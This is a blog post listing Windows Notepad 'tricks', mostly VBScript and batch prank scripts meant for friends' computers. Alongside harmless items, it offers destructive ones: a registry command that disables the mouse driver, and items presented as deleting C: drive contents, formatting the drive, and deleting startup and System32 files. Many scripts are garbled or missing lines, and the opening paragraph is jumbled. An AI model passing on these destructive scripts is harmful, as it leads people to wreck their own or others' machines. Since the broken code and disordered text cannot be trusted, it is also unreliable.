Computing Magazine

20+ Best Ever Cool Notepad Tips And Tricks

Posted on the 11 December 2015 by Rahulthepcl

We all are very much familiar with one of the simplest text editor that is Notepad provided by Microsoft. It comes pre-installed in every version of Microsoft Windows. It comes with simple to use interface and handy features. Notepad is a perfect solution for quick notes storage or anything in text that would like to save immediately. The extension used by Notepad to save files is Actually Notepad was designed for text editing and programming both. We can use it for multitasking; from a text editor to destroy someone's personal computer. Yeah, I said it right; you can perform programming codes within Just write the commands, save it, compile it and you're done. Today in this guide I am going to show you some .txt. We can call it as light weight text editor and I don't need to explain the reason. Notepad to execute several pranks easily. It's just not used for .txt extension rather opens several unknown extensions. Hundreds of programming commands are in-built in it. We just need to execute them using several extensions.
cool notepad tricks and tips. All these note pad tricks depend on your hardware so it can happen that some of them might not work for you. And try them on your own risk, we won't be responsible for any data loss or system crash.

20+ Cool Notepad Tricks And Tips

1. Fake Windows Error Using Notepad
If you want to show fake error message in your friend's system then use this trick.

  • Open Notepad.
  • Now Type X=Msgbox("Message Here",0+16,"Title Here")
  • Replace Message Here and Title Here with your Error Message and Error-Window Title respectively.
  • Save the file with Windows_Error.vbs.
  • Now, double click on the file and see the error message made by you.
2. Create Password Protected Folder Using Notepad

This trick can be used if you don't wanna use any third party tool to lock your folder. This will build a folder with a password on it.

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Private goto MDLOCKER

echo Are you sure you want to lock the folder(Y/N)

ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

echo Enter password to unlock folder

if NOT %pass%== goto FAIL

attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private

echo Folder Unlocked successfully

echo Private created successfully

  • Change written in red letters with your desired password.
  • Save the file as CrunchyTricks.bat with File Type As All Files (*.*).
  • Now, when you open CrunchyTricks.bat, it will create a folder named as CrunchyTricks. Move your private files, documents and folders here.
  • Close the folder then.
  • Now, no one will be able to open the folder without the password.
3. Make CD Drive Open And Close Continuously
This prank will open and close your CD Drive continuously. You can make your friends scare using it.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
For i = 0 to colCDROMs.Count - 1
End If
wscript.sleep 5000
  • Save file as anything.vbs.
  • Now, simply open the file and prank your friends easily.
To stop the process, open Task Manager by pressing Alt+Ctrl+Del and stop anything.vbs process.
@echo off
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
or you can use an alternative of this code.
@echo off 4. Create Matrix Code Using Notepad
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1
goto a
  • Save the file as Matrixcode.bat.
  • Open the file and see the magic.

5. Keyboard LED Dance Using Notepad

Set wshShell =wscript.CreateObject("WScript.Shell")

wshshell.sendkeys "{CAPSLOCK}"

wshshell.sendkeys "{NUMLOCK}"

wshshell.sendkeys "{SCROLLLOCK}"

  • Save the file as LEDDance.vbs
  • Click on the file and your all three LED lights will start dancing.

To stop the process simply Shut down or Log off your PC.

Your system is having antivirus? If yes, then do you want to check whether it is working or not? simply use the below code.

  • Open Notepad.
  • Copy the following code:

If your antivirus' real-time protection is working perfectly, it will show you alert and quarantine the file by considering it malware.

7. Use Your Notepad as Diary

  • Open your Notepad.
  • Type following piece of code in Notepad:

.LOG (in capital letters)

  • Save it as Anything.txt.
  • Open it again.
  • When you open the file again you will see the current date and time being inserted automatically after the .LOG line.
  • This will happen automatically every time you reopen the the notepad file.

8. Shutdown Your Windows Forcefully Using Notepad

msg * System will now shut down

  • Save the file as shutdown.BAT.
  • Open the file and it will automatically shutdown your Windows.
9. Toggle Capslock Repeatedly Using Notepad

You can make someone fool using toggle Caps Lock repeatedly. Use the following piece of code for this awesome trick.

  • Open your Notepad.
  • Just copy and Paste the code written down below into notepad.

Set wshShell =wscript.CreateObject("WScript.Shell")

wshshell.sendkeys "{CAPSLOCK}"

    Now save it as togglecl.vbs file and open it to see the magic.

10. How To Type Slow In Notepad

This trick will force you to type the text slowly. It happens because of delay in different strings when you type.

    Just copy and paste the text below into notepad and save it as typeslow.vbs file.

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.AppActivate "Notepad"

    Double click on the file and start typing in notepad.

11. Make Computer Speak What You Want

This Notepad trick will make computer to speak whatever you type. To take benefit, simply execute below mentioned code.

message=InputBox("What do you want me to say?","Speak to Me")

Set sapi=CreateObject("sapi.spvoice")

  • Save the file as speaktext.vbs.
  • Double click on the file and it will open a window. Enter the text you want your computer to speak
  • Click OK and Notepad will speak the sentence for you.

12. Cool World Trade Center Attack Trick

According to this trick, if you enter the flight number of the flight that struck the twin tower, i.e. Q33N in notepad and then change the font type to ' wingdings ' and the font size to 72, then you'll see a very strange thing.

It's one of the awesome trick but unfortunately is a hoax as no such flight struck the twin towers.

13. Delete Startup Files Using Notepad





  • This will shut the computer down and delete all the files required to get your computer into a normal state.
  • Try this trick on your own risk.

14. Hit Enter Continuously Using Notepad

If you're in a need of hitting enter button continuously for several times then rather pressing it manually you can use below code.

Set wshShell = wscript.CreateObject("WScript.Shell")

wshshell.sendkeys "~(enter)"

    Save it as entercontinue.vbs file and keep ready to amaze.

15. Hit Backspace Continuously Using Notepad

Similarly if you wish to press backspace button continuously then this would be the perfect code for you.

MsgBox "Backspace again and again and AGAIN"

Set wshShell =wscript.CreateObject("WScript.Shell")

    Save as backspaceC.vbs file and hit enter.

16. Typing Something Again and Again

It's an fabulous code to type something again and again. You can use it to write anything again and again and again, until you get it out of the loop.

Set wshShell = wscript.CreateObject("WScript.Shell")

wshshell.sendkeys "I'll be typed again and again"

    Save it as SANA.vbs file to make it work.

17. Your Own Virus That Cant Be Detected By Antivirus

  • Save it as virus.bat and double click.
  • It will delete the content of C:\ drive. (Try on your own risk)

18. Format HardDisk Using Notepad

01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000

  • Save it as format.exe.
  • Thats It ! Now just double click on the file and your C: drive will be formatted.

19. Disable Mouse Using Notepad

set key="HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass"

reg add %key% /v Start /t REG_DWORD /d 4

    Save the file as disablemouse.vbs and run it to disable mouse functionality.

20. Change Header And Footer In Notepad

    Navigate to File -> Page setup in notepad, and then in the fields for header and footer, type any of these codes.

&l Left-align the characters that follow

&c Center the characters that follow

&r Right-align the characters that follow

&d Print the current date

&t Print the current time

&f Print the name of the document

21. Delete System32 Files Using Notepad

    Just paste the following in notepad and save it as delsys32.bat file.


So this was all about some of the best notepad tips and tricks. Please let us know if any of them is not working for you. For any query or doubt paste your comment here.

Back to Featured Articles on Logo Paperblog